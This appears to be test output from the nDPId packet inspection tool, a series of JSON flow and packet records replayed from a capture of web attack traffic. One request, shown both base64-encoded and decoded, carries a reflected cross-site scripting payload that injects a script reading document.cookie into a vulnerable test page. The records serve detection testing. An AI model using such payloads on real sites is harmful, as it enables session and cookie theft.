+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":6,"flow_first_seen":1499347348776,"flow_last_seen":1499347354714,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56240,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3732,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":6,"flow_first_seen":1499347348776,"flow_last_seen":1499347354714,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56240,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3741,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":1,"flow_first_seen":1499347417243,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56966,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":263,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":243856,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82KJAAD4G7S2sEAABwKgKMt6GAFDK0UZQAAAAAKACchDO3gAAAgQFtAQCCAoBOp7yAAAAAAEDAwc="} +00444{"flow_id":263,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3742,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":244026,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3oZtyr1sytFGUaAScSAwOgAAAgQFtAQCCAoD5HBoATqe8gEDAwc="} +00432{"flow_id":263,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3743,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":244794,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02KNAAD4G7TSsEAABwKgKMt6GAFDK0UZRbcq9bYAQAOXPQAAAAQEICgE6nvMD5HBo"} +00432{"flow_id":260,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3747,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":728267,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VI5AAD4GcUqsEAABwKgKMt5QAFAbQM14Ywxy04ARAOVRtwAAAQEICgE6n2sD5Gtx"} +00432{"flow_id":260,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":728489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0AjJAAEAGwabAqAoyrBAAAQBQ3lBjDHLTG0DNeYARAONMSAAAAQEICgPkcOEBOp9r"} +00432{"flow_id":260,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3749,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347417,"pkt_ts_usec":729226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VI9AAD4GcUmsEAABwKgKMt5QAFAbQM15Ywxy1IAQAOVMRQAAAQEICgE6n2wD5HDh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3753,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1499347418519,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":264,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3753,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":519306,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8f6JAAD4GRi6sEAABwKgKMt6UAFCK5d+TAAAAAKACchB0OgAAAgQFtAQCCAoBOqAxAAAAAAEDAwc="} +00444{"flow_id":264,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3754,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":519456,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3pQDHUU3iuXflKAScSC3OQAAAgQFtAQCCAoD5HGnATqgMQEDAwc="} +00432{"flow_id":264,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3755,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":520195,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f6NAAD4GRjWsEAABwKgKMt6UAFCK5d+UAx1FOIAQAOVWQQAAAQEICgE6oDED5HGn"} +00434{"flow_id":261,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3759,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":728905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g\/VAAD4GQeOsEAABwKgKMt5eAFDJGhjByN\/2BoARAOVtTQAAAQEICgE6oGYD5Gyo"} +00434{"flow_id":261,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3760,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":729093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0h91AAEAGO\/vAqAoyrBAAAQBQ3l7I3\/YGyRoYwoARAONoGwAAAQEICgPkcdsBOqBm"} +00434{"flow_id":261,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3761,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347418,"pkt_ts_usec":729836,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0g\/ZAAD4GQeKsEAABwKgKMt5eAFDJGhjCyN\/2B4AQAOVoGQAAAQEICgE6oGYD5HHb"} +00432{"flow_id":262,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3765,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":729028,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LQpAAD4GmM6sEAABwKgKMt5sAFBxqrFyzvC5doARAOVgPAAAAQEICgE6oWAD5G3v"} +00432{"flow_id":262,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3766,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":729270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0y6NAAEAG+DTAqAoyrBAAAQBQ3mzO8Ll2caqxc4ARAONbVwAAAQEICgPkctUBOqFg"} +00432{"flow_id":262,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3767,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":729994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LQtAAD4GmM2sEAABwKgKMt5sAFBxqrFzzvC5d4AQAOVbVQAAAQEICgE6oWAD5HLV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3768,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":1,"flow_first_seen":1499347419786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":265,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3768,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":786749,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QexAAD4Gg+SsEAABwKgKMt6iAFBxNOCCAAAAAKACchCLsQAAAgQFtAQCCAoBOqFuAAAAAAEDAwc="} +00444{"flow_id":265,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3769,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":786875,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3qLCWbCfcTTgg6AScSCizgAAAgQFtAQCCAoD5HLkATqhbgEDAwc="} +00432{"flow_id":265,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347419,"pkt_ts_usec":787638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Qe1AAD4Gg+usEAABwKgKMt6iAFBxNOCDwlmwoIAQAOVB1gAAAQEICgE6oW4D5HLk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3777,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":1,"flow_first_seen":1499347421069,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57008,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":266,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3777,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347421,"pkt_ts_usec":69175,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA88e9AAD4G0+CsEAABwKgKMt6wAFBX5lNAAAAAAKACchAw8wAAAgQFtAQCCAoBOqKvAAAAAAEDAwc="} +00443{"flow_id":266,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3778,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347421,"pkt_ts_usec":69267,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3rDPNYnSV+ZTQaAScSBgwQAAAgQFtAQCCAoD5HQkATqirwEDAwc="} +00432{"flow_id":266,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3779,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347421,"pkt_ts_usec":69880,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08fBAAD4G0+esEAABwKgKMt6wAFBX5lNBzzWJ04AQAOX\/yAAAAQEICgE6oq8D5HQk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":1,"flow_first_seen":1499347422332,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57022,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":267,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3786,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":332404,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Nl1AAD4Gj3OsEAABwKgKMt6+AFBNkZW3AAAAAKACchD3hwAAAgQFtAQCCAoBOqPqAAAAAAEDAwc="} +00444{"flow_id":267,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3787,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":332523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3r7LRREdTZGVuKAScSCivwAAAgQFtAQCCAoD5HVgATqj6gEDAwc="} +00432{"flow_id":267,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3788,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":333304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nl5AAD4Gj3qsEAABwKgKMt6+AFBNkZW4y0URHoAQAOVBxgAAAQEICgE6o+sD5HVg"} +00432{"flow_id":263,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3792,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":730103,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02KRAAD4G7TOsEAABwKgKMt6GAFDK0UZRbcq9bYARAOXJ5AAAAQEICgE6pE4D5HBo"} +00432{"flow_id":263,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3793,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":730328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0yKlAAEAG+y7AqAoyrBAAAQBQ3oZtyr1tytFGUoARAOPEiQAAAQEICgPkdcQBOqRO"} +00432{"flow_id":263,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3794,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347422,"pkt_ts_usec":731069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02KVAAD4G7TKsEAABwKgKMt6GAFDK0UZSbcq9boAQAOXEhwAAAQEICgE6pE4D5HXE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3801,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1499347423604,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57036,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":268,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":604346,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TspAAD4GdwasEAABwKgKMt7MAFD5I+viAAAAAKACchD0fQAAAgQFtAQCCAoBOqUoAAAAAAEDAwc="} +00444{"flow_id":268,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3802,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":604441,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3szh681K+SPr46AScSDLowAAAgQFtAQCCAoD5HaeATqlKAEDAwc="} +00432{"flow_id":268,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":605217,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TstAAD4Gdw2sEAABwKgKMt7MAFD5I+vj4evNS4AQAOVqqgAAAQEICgE6pSkD5Hae"} +00432{"flow_id":264,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3804,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":605771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f6RAAD4GRjSsEAABwKgKMt6UAFCK5d+UAx1FOIARAOVRSAAAAQEICgE6pSkD5HGn"} +01215{"flow_id":265,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":605771,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9Qe5AAD4GgaGsEAABwKgKMt6iAFBxNOCDwlmwoIAYAOXuFQAAAQEICgE6pSkD5HLkR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdBQTBVN1ZDSU8xOEFVS1BaTkIwWlhGQ0RGOVBWSE0wQlJHT1dNMjJFSUNORVBYSzVVQyUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3805,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":4,"flow_first_seen":1499347419786,"flow_last_seen":1499347423605,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56994,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27AA0U7VCIO18AUKPZNB0ZXFCDF9PVHM0BRGOWM22EICNEPXK5UC%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00433{"flow_id":265,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3806,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":605842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xj5AAEAG\/ZnAqAoyrBAAAQBQ3qLCWbCgcTTizIAQAOw4EQAAAQEICgPkdp4BOqUp"} +00432{"flow_id":264,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3807,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":605908,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0M6ZAAEAGkDLAqAoyrBAAAQBQ3pQDHUU4iuXflYARAONMUgAAAQEICgPkdp4BOqUp"} +00432{"flow_id":264,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3808,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":606384,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f6VAAD4GRjOsEAABwKgKMt6UAFCK5d+VAx1FOYAQAOVMUAAAAQEICgE6pSkD5Hae"} +02959{"flow_id":265,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3809,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":608731,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/xj9AAEAG9k3AqAoyrBAAAQBQ3qLCWbCgcTTizIAYAOx+XQAAAQEICgPkdp8BOqUpSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIzOjQzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWHtPGzkQ\/xukfgefTypQiTVpdbpCk61CAiUqlBxJgKtOWjm7TmLiXW9tbwLf\/sb7SJZn2AYJBa89j994xuMZv9us\/9E+b\/X\/7R6hiQkF6g4OTzsthHcJufrUIqTdb6Prk\/7ZKao5e6hnFPcNIUc\/MMITY+IDQubzuTP\/5Eg1Jv0Lcmul1CxbPtzVKY8TmAC77zbfbdZTPbehiHTjCRm1\/f39jDUj36hPGA1guLFRD5mhyLLssl8JnzVwS0aGRWa3fxczjPzsq4ENuzXEiviC\/AlVmpnGoH+8+xkjksncqBtuBHMvExExRYdccHN3gC7YSDDfsAC1lNQa9bhhqOcrHhsejdH2da+3gw4OUJuGESp4BUNXbIiacSy4Tw2XEdpuX141d9Cs5tT20Ic2mzEh4xCgfaiTTHGOQvBoihQTDazNnWB6wpjByIA1uRG+1hhNFBs1sOMQ+Atmc2pnSUh55KTL5